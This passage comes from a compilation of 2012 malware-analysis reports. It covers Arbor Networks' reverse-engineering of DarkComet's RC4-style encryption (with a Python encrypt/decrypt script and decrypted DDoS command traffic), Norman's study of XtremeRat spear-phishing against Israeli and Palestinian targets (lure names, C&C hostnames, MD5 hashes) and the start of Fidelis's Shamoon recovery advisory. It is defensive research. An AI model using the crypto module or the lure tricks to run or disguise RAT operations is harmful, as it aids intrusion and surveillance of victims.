comprised only of the first two components (e.g., #KCMDDC42F#-890) using a routine we've labeled DecryptResource_sub_49D9EC(). To make a long story short, this routine uses the Windows APIs FindResource(), LoadResource(), etc. to extract a named resource of type RT_RCDATA (code 0x0A), intended for "application-defined resources (raw data)". The raw data is then decrypted using the preliminary crypto key. In the case of the crypto password, the name of the resource is PWD. The resource is extracted, decrypted, and stored for future use in the global variable PWD_off_4A4B84 by a function we call DecryptResources_sub_49F92C(): Arbor Networks | 23 Figure 20. Function DecryptResources_sub_49F92C() In the case of the default password 0123456789, the encrypted resource will hold the value 6811E636E69E9AEFA5C6. This DecryptResources_sub_49F92C() function actually decrypts a lot of encrypted bot parameters stored in various resources; some of the more interesting ones are as follows: Resource Name FAKEMSG GENCODE MSGCORE MSGTITLE Arbor Networks | 24 Encrypted Data 6146B749A3CF9C9FE8CFAB2C 1100A768B3C7C0F8FCDFC907B6F9 1C41A66E91C4C1BDE9 Decrypted Value 9fcLqd0Gu00j I small a RAT! DarkComet MUTEX NETDATA 1C638B4887FFE980B0B9AE72B1EA40A3 6919E62BE39D94F6ACCFAB68D5ED4BD67BA333 6811E636E69E9AEFA5C6 1F55B176A69A9A DC_MUTEX-F54S21D 192.168.100.75:1604 0123456789 Guest16 Figure 21. Interesting encrypted resources Of particular interest is the encrypted NETDATA resource, which holds the C&C hostname and port. The Resource Hacker tool is a great utility for viewing and extracting the various DarkComet encrypted parameters: Arbor Networks | 25 Figure 22. Resource Hacker extracting DarkComet resources So to summarize, DarkComet uses a hard-coded (although different for each version) preliminary key string, such as #KCMDDC42F#-890, to decrypt its sensitive parameters from various raw resources - such as the C&C information and communications password stored in the NETDATA and PWD resources, respectively. It then appends the decrypted comms password (stored in the PWD resource) to the end of the preliminary crypto key string to form the final key, #KCMDDC42F#-8900123456789, that it uses for securing the network traffic to and from its C&C server. Putting everything together into a complete DarkComet crypto module yields the following Python script: # DarkComet decryptor/encryptor # Copyright (c) 2012 Arbor Networks import sys class DarkCometCryptor(object): def __init__(self, key): self._len_key = len(key) self._key = [ord(token) for token in key] def decrypt(self, src): # Convert ASCII to hex representation buf = [int("0x%s" % src[k*2:k*2+2], 16) for k in range(len(src)//2)] self._cryption(buf) return "".join([chr(token) for token in buf]) def encrypt(self, src): buf = [ord(token) for token in src] Arbor Networks | 26 self._cryption(buf) # Convert to hex codes (upper case) return "".join(["%02x" % tok for tok in buf]).upper() def _cryption(self, src): # Build subst table stable = list(range(256)) accum = 0 for k in range(256): accum += stable[k] accum += self._key[k % self._len_key] accum &= 0xff stable[k], stable[accum] = stable[accum], stable[k] # Apply subst table accum = 0 for k in range(len(src)): elem_a_idx = self._LS_BYTE(k + 1) accum += stable[elem_a_idx] elem_b_idx = self._LS_BYTE(accum) stable[elem_b_idx], stable[elem_a_idx] = \ stable[elem_a_idx], stable[elem_b_idx] swap_sum = self._LS_BYTE(stable[elem_b_idx] + stable[elem_a_idx]) src[k] ^= self._LS_BYTE(stable[swap_sum]) @staticmethod def _LS_BYTE(value): return 0xff & value if __name__ == '__main__': if len(sys.argv) != 4 or sys.argv[1] not in ('-d', '-e'): print "usage: %s [-d|-e] SRC_TEXT KEY" % sys.argv[0] Arbor Networks | 27 sys.exit(1) do_decrypt = bool(sys.argv[1] == '-d') src = sys.argv[2] key = sys.argv[3] print "%s: %s" % ("CRYPT" if do_decrypt else "PLAIN", src) cryptor = DarkCometCryptor(key) dst = cryptor.decrypt(src) if do_decrypt else cryptor.encrypt(src) print "%s: %s" % ("PLAIN" if do_decrypt else "CRYPT", dst) Figure 23. darkcomet.py Crypto Module Applying our DarkComet encryption module against the observed traffic results in the following: C&C: IDTYPE Bot: SERVER C&C: GetSIN192.10.8.64|27038511 Bot: infoesComet|192.10.8.64 / [192.1.167.30] : 1604|SANDBOX7 / Admin|27038511|29s|Windows XP Service Pack 2 [2600] 32 bit ( C:\ )|x||US|C:\WINDOWS\system32\cmd.exe|{16382783-b70c-71e4-11e028f8efc0696f-10806d6172}|127.43 MiB/256.09 MiB [128.22 MiB Free]|English (United States) US / -- |10/9/2011 at 8:13:31 PM Figure 24. Decrypted version of comms from Figure 2. Likewise, when a DarkComet C&C issues attacks command, the encrypted traffic on the wire looks like these examples: 185CB63BBE0EA3DF6D2A725936265160E391BC77F47FF46A3934CFB173AC Arbor Networks | 28 185CB63BA31EA7C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 185CB63BA503B9C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 But applying the decryption routine yields the following: DDOSHTTPFLOOD192.168.100.254|5 DDOSUDPFLOOD192.168.100.254:80|5 DDOSSYNFLOOD192.168.100.254:80|5 Which corresponds to ordering an HTTP flood, a UDP flood, and a TCP flood, respectively, against target 192.168.100.254, with each attack lasting for 5 seconds. Once the attacks are completed the DarkComet bot will respond with an encrypted status message such as the following: 1E4CAB2DA50FBBDB781F5336347B073DA9DCD936B46EB03B646DDAE366F7D5C76D3C0420A55906F524 240A0F34D3A6384150 Which decrypts to the following: BTRESULTSyn Flood|Syn task finished!|Administrator As implied above, DarkComet supports three types of DDoS attacks: HTTP flooding, UDP flooding, and TCP flooding (mis-advertised as "SYNFLOOD"). The UDP and TCP volumetric floods are quite unremarkable and simply consist of random gibberish blasted at a target host and port. The HTTP flood also appears to be intended as a rudimentary GET flood with a minimalist HTTP request header. However, DarkComet's HTTP flood implementation happens to have not one, but two catastrophic bugs. First of all, the thread procedure that implements the DDOSHTTPFLOOD attack command, SendHttp_sub_485848(), uses the WinSock2 library's socket(), connect(), and send() APIs to send the following hard-coded HTTP flooding request: GET / HTTP/1.1\r\n\r\n Arbor Networks | 29 At first glance, this looks like an (almost) valid, although minimalist, HTTP request that is terminated with a double carriage-return/line-feed (CRLF) combination. However, when one takes a closer look at the way DarkComet stores this string, we see that the \r and \n characters are not actually CR (0x0D) and LF (0x0A) bytes. Instead, they are literally comprised of the backslash (0x2F), letter r (0x72), and letter n (0x6E) bytes! Arbor Networks | 30 Figure 25. Hard-coded HTTP request string HttpRequest_byte_485970 If the HTTP request string had been encoded properly (ending with 0x0D0A0D0A), the length of the string would have been 18. But instead, we see that it is 22 bytes in length. Due to this, DarkComet's attempt at an application layer attack is not close to a valid HTTP request per the RFCs. The second big mistake in the implementation of DarkComet's HTTP flood attack becomes apparent further down in the attack thread code, just before the (buggy) HTTP request payload is sent to the target via the send() API: Arbor Networks | 31 Arbor Networks | 32 Figure 26. Function EncryptAndSendData_sub_49393C() Unbelievably, DarkComet bot is accidentally encrypting the (buggy) GET request string at instruction 0x00493972 via a call to the already-reversed Encrypt_sub_44C34C() routine. The resulting (encrypted) HTTP request is then sent on its merry way to the DDoS target via the send() API call at instruction 0x0049399D. So the target web server ends up receiving gibberish instead of a well-formed HTTP request that might exhaust resources at the application layer. Due to these two serious flaws, DarkComet's HTTP flood attack reduces down to nothing more than a volumetric TCP flood against port 80, and a very weak one at that (a mere 22 bytes of TCP payload per flooding packet...) In fact, here is what the actual "HTTP flooding" traffic looks like: 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 Clearly, this is very unlikely to bring any web server to its knees! Acknowledgements to Arbor Networks analyst Curt Wilson for his valuable insights and assistance with this article. Arbor Networks | 33 Systematic cyber attacks against Israeli and Palestinian targets going on for a year By Snorre Fagerland Principal Security Researcher Norman AS, November 2012 Summary We have observed multiple probable malware attacks against Israeli and Palestinian targets. These attacks are likely performed by the same attacker, as the malware in question communicate with the same command- and control structures, and in many cases are signed using the same digital certificate. These attacks have been ongoing for at least a year; seemingly first focused on Palestinians, then Israelis. The attacker is unknown at this point, but the purpose is assumed to be espionage/surveillance. Norman, November 2012 Introduction Recently, media (1) reported of a targeted attack against the Israeli government, in the form of emails purporting to come from IDF Chief of Staff Benny Gantz with a malicious attachment. This was an interesting development Israel has, as far as we know, not been very targeted by spear phishing attacks like this. In the following text we will usually be referring to the actual malware files we uncovered by their MD5 hash, which is a number that uniquely (well, uniquely enough) identifies the file in question. Norman, November 2012 The initial reported malware While we don t have visibility into Israeli government mails, we do receive a lot of suspicious executable files, and a little digging gives results. We found one file which matched the reports: "IDF strikes militants in Gaza Strip following rocket barrage.doc----------------------------------------------.scr". This is an executable file, but the icon looks like a document icon, and the very long name makes the *.scr extension hard to spot - particularly if the executable comes packaged in an archive, as was reportedly the case here. This executable itself is a WinRAR selfextracting (SFX) archive, which contains several other files: Word.exe, an XtremeRat backdoor executable 2.ico, an icon file barrage.doc, an innocent document containing pictures (above) XtremeRat is a commercially available backdoor trojan which has been used in many attacks, targeted and otherwise, over the years. It gained some notoriety in connection with attacks against Syrian activists; along with other off-the-shelf trojans such as BlackShades and DarkComet. Norman, November 2012 The digital signature An interesting feature of this exact XtremeRat is that it is digitally signed seemingly by Microsoft: The certificate chain ends in an untrusted (faked) root certificate; so it will not validate properly. Nevertheless the certificate is useful for us, as it can be used to find related cases. All certificates are issued with a serial number which normally is quite unique, as it is supposed to be an identifier within the scope of its issuer. So, querying our databases for this particular faked certificate returns a number of files which are probably the products of our Israel-hostile attacker. These files were received in intervals through the fall and summer, going back to May 2012, and reveal more hints about targets. Several of them are self extracting archives containing extra files, such as documents, links and even video. The following pages display some of the bait information the new files contain. Norman, November 2012 Word document, contained in SFX RAR file 66DDF27517985A75B2317231B46A6F62 Word document, contained in SFX RAR file 4A06D9989A8C3A9967C2011E5BAF3010 Report.doc...................................................... .......................................................................... .............exe Norman, November 2012 Word document, contained in SFX RAR file 15FC009D9CAAA8F11D6C3DA2B69EA06E Silence of the Jews make the Church of the Nativity of the Palestinians.doc-----------.scr Found in Israel Word document, contained in SFX RAR file 940B3ACDF1E26FCCCF74A5A0359FB079 IDF NEWS[RTLO]cod.SCR Norman, November 2012 3gp video, contained in SFX RAR file 9C39D6F52E1E1BE5AE61BAB90971D054 A Rood Awakening! Michael Rood .3gp--------------------------------------.scr Found in Israel Word document, contained in SFX RAR file 9D144A828F757A90B86976EF0C906B3F Norman, November 2012 Word document, contained in SFX RAR file D14E0A3D408065B1551F2827B50B83CA Word document, contained in SFX RAR file C8202523F35295E8BC8CC1731EDB0559 Norman, November 2012 Word document, contained in SFX RAR file C21D7165B25CAF65D7F92FF758C1B5B1 The first conference of Dr. Mohamed Morsi, after winning.doc---------------.scr YouTube URL contained in SFX RAR file 5B740B4623B2D1049C0036A6AAE684B0 RTLO]----------------------------------------.wmv------------------.scr Found in Israel Norman, November 2012 Word document, contained in SFX RAR file 72fd6074915f8f123eb44b3dd475d36b TShehab[RTLO]cod.scr Found in Israel Norman, November 2012 Command & Control The involved malwares connect to external hosts controlled by the attackers. These belong to various DynDNS services, and at the time of writing resolve to IP addresses located with hosting services in the US. Samples in yellow connecting to C&C hosts (green). All are digitally signed and connected through the blue certificate node in the middle. This is where the trail could have ended. However, there are still clues to look at for example, what other executables connect to these C&C hosts. This time, digging into our Malware Analyzer G2 (MAG2) databases shows that there is more malware talking to this infrastructure, and these bots again connect to more C&C domains. These new malwares are also predominantly XtremeRats. However, they have been in circulation for a longer time all the way back to October 2011. I think it is logical to assume that all these have been part of a medium/large surveillance operation. Norman, November 2012 When updated with this information the plot now looks like this: Same as previous illustration, where new unsigned samples are shown to be related through the usage of the same C&C infrastructure.Colours have changed now the certificate is green, the C&C servers are yellow, the samples are blue, while IP addresses are purple. These IP addresses can be considered examples they change regularly. Several of these domains appear to be hosted together. For example (at the time of writing): 108.171.108.190 is pointed to by may2008.dyndns.info, menu.dyndns.biz, flashsoft.no-ip.biz, monagameel.chickenkiller.com, powerhost.zapto.org 108.171.124.13 is pointed to by helpme.no-ip.biz, mjed10.no-ip.info 69.80.101.244 is pointed to by good.zapto.org, hint.zapto.org, hint1.zapto.org, natco1.no-ip.net, natco2.no-ip.net, natco3.no-ip.net, natco4.no-ip.net, loading.myftp.org, skype.servemp3.com, test.cable-modem.org These addresses tend to change. Typically, every couple of days a new IP configuration is introduced for some boxes, while others may remain static such as the host lokia.mine.nu, which has resolved to 69.80.107.129 since we started examining the case. As mentioned, the IP addresses in use have belonged to mostly US-based hosting services least recently. Norman, November 2012 If we go further back in time (towards spring of 2012) most of the domains used resolved to IP addresses in the range 188.161.*. This range is located in Gaza and belongs to a provider headquartered in Ramallah in the West Bank: Palestinian Territory, Occupied Gaza Palestine Telecommunications Company (paltel), ASN: AS12975 We have also to a lesser extent seen IP addresses in use belonging to another Paltel division: Palestinian Territory, Occupied Gaza Hadara Technologies Private Shareholding Company, ASN: AS15975 What is behind these IP addresses is hard to establish. It is possible that they are hacked boxes, and as such not give much valid information. If that were the case, one might have expected greater IP range and geographical distribution, but nothing is certain. Our databases also show that there is much more malware talking to these providers through many other DynDNS domains. Some of these are probably also related to this case, but as we have no evidence linking the cases, these malwares have not been included in this paper. It is however interesting to note the hostnames some of these connect to like terroristttt.noip.biz Norman, November 2012 The plot thickens So far, the impression is of an attack actor attempting to gather information from Israelis. Then something happens that throws this picture in disarray. A series of samples show up that do not follow the pattern. They apparently do not target Israelis. Instead they use Arabic language and refer to Palestinian issues. Word document contained in EXE file FC17F3B2E2C7F5F24D35899D95B8C4A6 This document in Arabic claims that Mahmoud Abbas is threatened by assassination by Mossad if he does not stop his reconciliation policy towards Hamas. The image is taken from a news story about Abbas speaking at a meeting in Ramallah. Norman, November 2012 MP4 video contained in EXE file 2AAD951DBECB6D4715B306B337CA5C34 The sample containing this video is digitally signed in the same way as the initial samples, but the baiting angle is different. Instead of showing information interesting for an Israeli audience, the video contains a music piece critical of Mahmoud Abbas, claiming that he is not working for the good of the Palestinian people. Norman, November 2012 Word document contained in SFX ZIP file B4F5BFC0AB0CC3D6B7A6B9653784DE56 Found in Palestine This document revolves around the prisoner exchange deal with the Israeli government over the Israeli soldier Gilad Shalit, held hostage by Hamas for over five years. JPEG image contained in EXE file 0AA7B256D2DCC8BD3914F895B134B225 This image appears purportedly to be of Gilad Shalit in his hostage cell. This could be aimed at Israelis, but the image itself has been mostly shown on Arabic/Palestinian sites like www.shehab.ps, a news agency located in Gaza. Norman, November 2012 Word document contained in EXE file 926235FCF7B91442A405B5760A0729EB This document is an interview with the former Palestinian ambassador and Member of Parliament Nabil Amr. He is known to have been critical of Arafat and later Abbas. Norman, November 2012 We also see attacks apparently against Palestinian targets without being able to tie them up against the already mentioned attack/C&C structure. For example, a file received by us as d.exe , (MD5 1f1e9958440d773c34415d9eb6334b25), found in Palestine Nov 17th last year, shows a PDF document with content seemingly taken from Palestine Now (www.paltimes.net): PDF document contained in the EXE file 1F1E9958440D773C34415D9EB6334B25 Found in Palestine Norman, November 2012 Document metadata Most of the bait attachments are Word documents, and Word documents can contain metadata (typically the usernames of the creator and the one who last saved the document). It is possible to scrub these details, but our attackers seem to have forgotten this or inserted faked data. Palestinian baits: Hmas.doc: 484hhh.doc: Word.doc: Created by Hitham , saved by anar Created by Hitham , saved by Ayman Created and saved by Tohan date Oct 12th 2011 date Nov 27th 2011 date Feb 18th 2012 Israeli baits: word.doc: IDF NEWS.doc: Brotherhood.doc: detl.doc: Advisor.doc: IDF.doc: System.doc: York.doc: barrage.doc : shehab.doc: Created by ahmed , saved by aert Created and saved by aert Created and saved by aert Created and saved by aert Created and saved by HinT Created and saved by aert Created and saved by HinT Created and saved by HinT Created and saved by HinT Created and saved by HinT date May 14th 2012 date May 26th 2012 date Jun 24th 2012 date Jun 29th 2012 date Jul 29th 2012 date Aug 1st 2012 date Aug 5th 2012 date Oct 16th 2012 date Oct 24th 2012 date Oct 31st 2012 There seems to be a number of people involved in creating these bait files. The dates also roughly coincide with the apparent shift in IP ranges (Appendix B), from first being located in Gaza, to being located internationally. Norman, November 2012 Conclusion We have uncovered a substantial number of malware executables that contain information seemingly tailored at Israelis and Palestinians. We have the impression that a cybersurveillance operation is underway (and is probably still ongoing - most recent sample created Oct. 31) which was first mainly focused on Palestinian targets, then shifted towards Israel. The reason for the shift is unknown. Maybe it was planned all along; or caused by changes in the political climate; or maybe the first half of the operation found data that caused the target change. This analysis is almost exclusively based on the executable files themselves. We have very little information about actual infections. The only documented case is the Benny Gantz-themed email which triggered the investigation. We consider it likely that other attacks have been modeled the same way, using attachments in email. These attachments may often have consisted of the described malicious files inside archives like RAR or ZIP. The attacker is still unknown to us. There are probably several actors that could have an interest in the regional politics, as the various powerblocks in the region are manifold and conflicted. By using largely off-the-shelf malware, the cost of mounting such an operation is considerably lower than for those who do their own malware development. Norman, November 2012 References 1. Ravid, Barak. Haaretz.com: Israel's Foreign Ministry targeted by computer virus bearing IDF chief's name. [Online] http://www.haaretz.com/blogs/diplomania/israel-s-foreign-ministry-targeted-bycomputer-virus-bearing-idf-chief-s-name.premium-1.472278. Norman, November 2012 Appendix A: C&C hostnames may2008.dyndns.info menu.dyndns.biz flashsoft.no-ip.biz monagameel.chickenkiller.com hatamaya.chickenkiller.com powerhost.zapto.org helpme.no-ip.biz mjed10.no-ip.info good.zapto.org hint.zapto.org hint1.zapto.org natco1.no-ip.net natco2.no-ip.net natco3.no-ip.net natco4.no-ip.net loading.myftp.org skype.servemp3.com test.cable-modem.org idf.blogsite.org javaupdate.no-ip.info lokia.mine.nu www.hint-sms.com owner.no-ip.biz remoteback.no-ip.biz ramadi.no-ip.biz The likelihood that there are more names involved is large. There is for example a domain natco5.no-ip.net which resolves to the same IP s as the rest of the series, but we have not seen the malware which uses it yet. Norman, November 2012 Appendix B: C&C Timeline A5DE87646EE943CD1F448A67FDBE2817 F982401E46864F640BCAEDC200319109 EC5B360F5FF6251A08A14A2E95C4CAA4 97576FA7A236679DBE3ABE1A4E852026 C1EC435E97A4A4C5585392D738B5879F 2559FE4EB88561138CE292DF5D0E099F 0ABF3FA976372CBC8BF33162795E42A8 0B3B1E2E22C548D8F53C2AA338ABD66E 0AA7B256D2DCC8BD3914F895B134B225 FF8E19CA8A224CC843BF0F2F74A3274E 7C5272F3F24ACB225270DDED72CFC1D4 8AEAA0C81A36449EC9613CA846E196F2 2AAD951DBECB6D4715B306B337CA5C34 926235FCF7B91442A405B5760A0729EB 963BFAE19B3DA5BECE081DFF1D1E3EF9 EBC9BDF9FDF0A9773899D96D24AC46F4 998F30457BC48A1A6567203E0EC3282E 31F96ADD841594D35E6E97376114E756 6E416C45A833F959A63785892042595A 0DC102CFB87C937EEFFE01A06F94E229 B7DF947B4A67A884C751840F83C4405E 2EB1503751A7C74890096B1837C7BD81 C21D7165B25CAF65D7F92FF758C1B5B1 0A67F9CC30083AFB7E1F8295AE152BB6 E9823B61E6CE999387DE821DFBF6E741 2AAD951DBECB6D4715B306B337CA5C34 ED53831468DDF4220E1DC3C3398F7F39 66DDF27517985A75B2317231B46A6F62 86BE5F0D2303FB4A8A8E297A53AC0026 D14E0A3D408065B1551F2827B50B83CA B6C8A6D6C35428779C5C65C1B273EBA0 C03B5985F2504939DA9874246A439E25 216689B2CA82F16A0CAB3A2712C27DA6 9C39D6F52E1E1BE5AE61BAB90971D054 E7E05001A294EBFE8A012DD3BCE78E96 F68F85B0FBCA450F0D5C8828063AD30D 3DA8C22F5340850EE5A2C25B1D17FC27 9D144A828F757A90B86976EF0C906B3F DBE2AC744A3947B6306E13EBCCB718BF 861C90536B3B5A4A8309ADBBFD5C4713 947557A55267DFFB3F85E0D7496A3679 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 2BCDC5091C446E8B6888D802A3589E09 72FD6074915F8F123EB44B3DD475D36B 41454B390B73A45004B916B96C693312 Primary C&C hint.zapto.org natco4.no-ip.net hint1.zapto.org mjed10.no-ip.info monagameel.chickenkiller.com powerhost.zapto.org powerhost.zapto.org hint.zapto.org hint.zapto.org powerhost.zapto.org flashsoft.no-ip.biz menu.dyndns.biz mjed10.no-ip.info helpme.no-ip.biz hint.zapto.org powerhost.zapto.org powerhost.zapto.org hint.zapto.org hint.zapto.org powerhost.zapto.org hint.zapto.org menu.dyndns.biz skype.servemp3.com skype.servemp3.com good.zapto.org good.zapto.org natco1.no-ip.net natco1.no-ip.net lokia.mine.nu lokia.mine.nu menu.dyndns.biz lokia.mine.nu natco2.no-ip.net natco3.no-ip.net may2008.dyndns.biz menu.dyndns.biz loading.myftp.org lokia.mine.nu lokia.mine.nu natco3.no-ip.net good.zapto.org loading.myftp.org loading.myftp.org idf.blogsite.org javaupdate.no-ip.info Red hash = probable PS target. Blue hash = probable IL target. Norman, November 2012 C&C loc. Date first seen 27-Oct-11 29-Oct-11 02-Nov-11 07-Nov-11 07-Nov-11 08-Nov-11 14-Nov-11 19-Nov-11 30-Nov-11 17-Dec-11 23-Dec-11 01-Jan-12 03-Jan-12 12-May-12 16-May-12 19-May-12 29-May-12 02-Jun-12 02-Jun-12 07-Jun-12 09-Jun-12 09-Jun-12 25-Jun-12 25-Jun-12 10-Jul-12 12-Jul-12 02-Aug-12 02-Aug-12 14-Aug-12 29-Aug-12 04-Sep-12 10-Sep-12 18-Sep-12 27-Sep-12 28-Sep-12 02-Oct-12 03-Oct-12 21-Oct-12 21-Oct-12 24-Oct-12 25-Oct-12 25-Oct-12 25-Oct-12 31-Oct-12 03-Nov-12 Appendix C: MD5 list, main cluster A5DE87646EE943CD1F448A67FDBE2817 F982401E46864F640BCAEDC200319109 EC5B360F5FF6251A08A14A2E95C4CAA4 97576FA7A236679DBE3ABE1A4E852026 C1EC435E97A4A4C5585392D738B5879F 2559FE4EB88561138CE292DF5D0E099F 0ABF3FA976372CBC8BF33162795E42A8 1f1e9958440d773c34415d9eb6334b25 0B3B1E2E22C548D8F53C2AA338ABD66E 0AA7B256D2DCC8BD3914F895B134B225 B455426811B82CB412952F63D911D2A8 E431634699D7E5025ECDF7B51A800620 FF8E19CA8A224CC843BF0F2F74A3274E 7C5272F3F24ACB225270DDED72CFC1D4 8AEAA0C81A36449EC9613CA846E196F2 FC17F3B2E2C7F5F24D35899D95B8C4A6 926235FCF7B91442A405B5760A0729EB 963BFAE19B3DA5BECE081DFF1D1E3EF9 EBC9BDF9FDF0A9773899D96D24AC46F4 4A06D9989A8C3A9967C2011E5BAF3010 4DC0BCDCFB3F3D794175B21872A76079 998F30457BC48A1A6567203E0EC3282E 91FC9D1B635FDEE4E56AEC32688A0E6C 940B3ACDF1E26FCCCF74A5A0359FB079 cebc8b51d51e442e2af8c86e70c8adf4 31F96ADD841594D35E6E97376114E756 6E416C45A833F959A63785892042595A 0DC102CFB87C937EEFFE01A06F94E229 B7DF947B4A67A884C751840F83C4405E 2EB1503751A7C74890096B1837C7BD81 C21D7165B25CAF65D7F92FF758C1B5B1 0A67F9CC30083AFB7E1F8295AE152BB6 15FC009D9CAAA8F11D6C3DA2B69EA06E D9D1B0C467FA4999DEF6CD53447F1221 E9823B61E6CE999387DE821DFBF6E741 2AAD951DBECB6D4715B306B337CA5C34 ED53831468DDF4220E1DC3C3398F7F39 66DDF27517985A75B2317231B46A6F62 86BE5F0D2303FB4A8A8E297A53AC0026 A1187DE4C4B88E560D46940B820A6228 Norman, November 2012 D14E0A3D408065B1551F2827B50B83CA B6C8A6D6C35428779C5C65C1B273EBA0 841565C67006E6A0A450C48054CF348C C8202523F35295E8BC8CC1731EDB0559 C03B5985F2504939DA9874246A439E25 216689B2CA82F16A0CAB3A2712C27DA6 5B740B4623B2D1049C0036A6AAE684B0 9C39D6F52E1E1BE5AE61BAB90971D054 E7E05001A294EBFE8A012DD3BCE78E96 F68F85B0FBCA450F0D5C8828063AD30D 3DA8C22F5340850EE5A2C25B1D17FC27 9D144A828F757A90B86976EF0C906B3F DBE2AC744A3947B6306E13EBCCB718BF 861C90536B3B5A4A8309ADBBFD5C4713 947557A55267DFFB3F85E0D7496A3679 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 2BCDC5091C446E8B6888D802A3589E09 72FD6074915F8F123EB44B3DD475D36B 41454B390B73A45004B916B96C693312 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 Fidelis Threat Advisory #1007 RECOVERING FROM SHAMOON November 1, 2012 Document Status: Last Revised: FINAL 2012-11-01 Executive Summary The Shamoon malware has received considerable coverage in the past couple of months because of its destructive nature. Despite assertions that it is the work of amateurs, it has had a major impact on companies believed to have been affected. The basic functions of the malware are to infect, entrench, propagate, and wipe. However because of the way the malware operates and how it is programmed to wipe, it can find itself being its own enemy. It will wipe data found in the Documents and Settings folder and the System32 folder, and then use a signed driver for disk access to start wiping at the disk level. Because the operating system needs certain files in the System32 folder to run, it was found that infected hosts will always restart before the malware can wipe completely at the disk level. Due to this it was possible to make a complete recovery of Shamoon-infected file systems to the state they were in before the wiping made the OS unbootable and unreadable. In fact the majority of files outside of the System32 and Document and Settings folder are recoverable as well; this provided the opportunity for a successful and fruitful analysis, investigation, and remediation effort. Threat Overview According to community write-ups, the Shamoon malware appears to have been deployed against a couple of entities on or about August 15, 2012. The malware had self-propagating qualities and was designed to overwrite data on disks attached to or accessible from targeted systems. The malware s functionality, briefly summarized below, was covered in some detail in community postings, such as Kaspersky s Securelist blog. Analysis details and testing of an available sample of Shamoon by General Dynamics Fidelis Cybersecurity Solutions researchers revealed that the malware s wipe operations did not overwrite entire disks, but rather overwrote enough to prevent access to the affected file systems, along with substantial amounts of file data. However, analysis indicated that some files were still intact after the malware s write operations and subsequent system reboot. Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of General Dynamics Fidelis Cybersecurity Solutions, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis makes no guarantee that the information contained herein is error free. Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 1 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 Fidelis researchers surmised there might be a means of recovering file data from targeted systems from a forensic and investigative analysis point of view. With this goal in mind, researchers tested several possible ways of restoring disk data critical to the access of the targeted disk s file system. What follows is a brief description of what the sample of the Shamoon malware does and a description and results of researchers file system recovery efforts. Shamoon Wiper Functionality Actions: Executes a copy of itself as a scheduled job Deletes the file created for the scheduled job Entrenches itself as a service Execution of the entrenched file results in a dropped driver The dropped driver is loaded and executed The dropped driver facilitates disk access The malware overwrites disk data to include the contents of \\Documents and Settings (user data) and \\Windows\system32 (system data) directories The malware eventually overwrites the disk s boot records (Master Boot Record (MBR) and Volume Boot Record (VBR)) (Note: Testing was accomplished on disks with one partition) The malware appears to target user data first, then system data The nature of the overwrites is such that the malware writes only a certain amount of data to targeted files, starting at the files beginning (Offset 0x0) and then writing a certain amount of data to other file locations Fidelis researcher observations included the following: o At some point during the writing (wiping) process, the targeted system tries to read file data that has been overwritten, prompting an attempt to restore the involved file o The system asks the user for media containing system files when it cannot find the system files it is looking for o The targeted system eventually reboots, resulting an error on restart because of the overwritten boot records o The disks targeted in testing were not completely overwritten; there was still apparently viable file data on the targeted disks o The result of the malware s operation was the prevention of accessing the targeted file system Note: The Shamoon sample Fidelis researchers had available looked very similar to that detailed in community write-ups. However, as of the date of publication, researchers were still analyzing the available sample. Therefore, differences between the available sample and others available to the community may become apparent in the future. Analysis and Testing Overview Fidelis initially approached the Shamoon analysis strictly from a perspective of determining what forensic artifacts could be recovered from a targeted system. The goal was at least a partial Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 2 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 reconstruction of the events precipitating the Shamoon attack, and possibly using those events found on the targeted systems to determine a start of the attack, and a possible source. Analysis revealed the possibility that some user data would be recovered as a side benefit to the forensic analysis process. Three types of operating systems were used for testing purposes; all testing occurred on laptops. The laptops were wiped, had the operating system installed, and then had the Shamoon malware executed on the system. The three operating systems used for testing were Windows XP, Windows 2003, and Windows 7. The malware executed with no issues except on Windows 7. The User Access Control (UAC) on the Windows 7 systems had to be turned off before the malware would execute and perform the wiping action as has been observed on other machines. This has been noted by others in the community as well, specifically that Administrator access is needed for initially launching Shamoon. Shamoon operation results in much of the data on the affected systems being overwritten with the fragmented image of a burning flag. As has been detailed above, the wipe function will overwrite data within the Documents and Settings folder followed by the System32 folder, and then it will start the physical disk access and start the wiping at the disk level. If the system restarts before the malware has completed wiping the disk then much of the data can still be recovered: each of our tests showed the system did restart before the disk was completely wiped. The amount wiped from the host will never be the same from system to system, mainly because the size of the disk and partitions will all need to be taken into account. VBR and File System Recovery Strategies The following is the view of the wiped disk for each of the operating systems that we tested: Fig 1. Example of wiped of MBR and VBR wiped by Shamoon Malware. Figure 1 was found at the MBR (Sector 0) and the VBR (Sector 63/56 (XP, 2003), and 2048/206848 (7)) of each of the operating systems (As well as throughout the drive). Fidelis Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 3 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 researchers decided to look further into the drive and find if there was any possibility of recovering files or logs that would help illuminate what happened to the systems, and if any artifacts of the malware could be recovered. Note on the VBR: VBR stands for Volume Boot Record, and is made up of the boot sector and bootstrap code. The boot sector takes up 1 sector on the drive; the next 6 sectors on the drive are allocated for the bootstrap code. In all 16 sectors are allocated in total for the VBR. The VBR is created when a file system is created on a partition. In this paper we will be covering the NTFS Boot Record. The VBR is used to load machine code into RAM to start a program. Normally this program is the operating system. Keyword searches revealed that there were still files that would be recoverable on the system. In particular it was found that registry files and headers were still on the disk. After this, it was found that the Master File Table (MFT) was still, for the most part, intact. Trying to avoid the long and laborious process of carving files from the disk, researchers decided that it would instead be worth the time to try and recover the file system. When the Windows operating system is installed or an NTFS volume created, a backup copy of the VBR is written to the last sector of the volume. 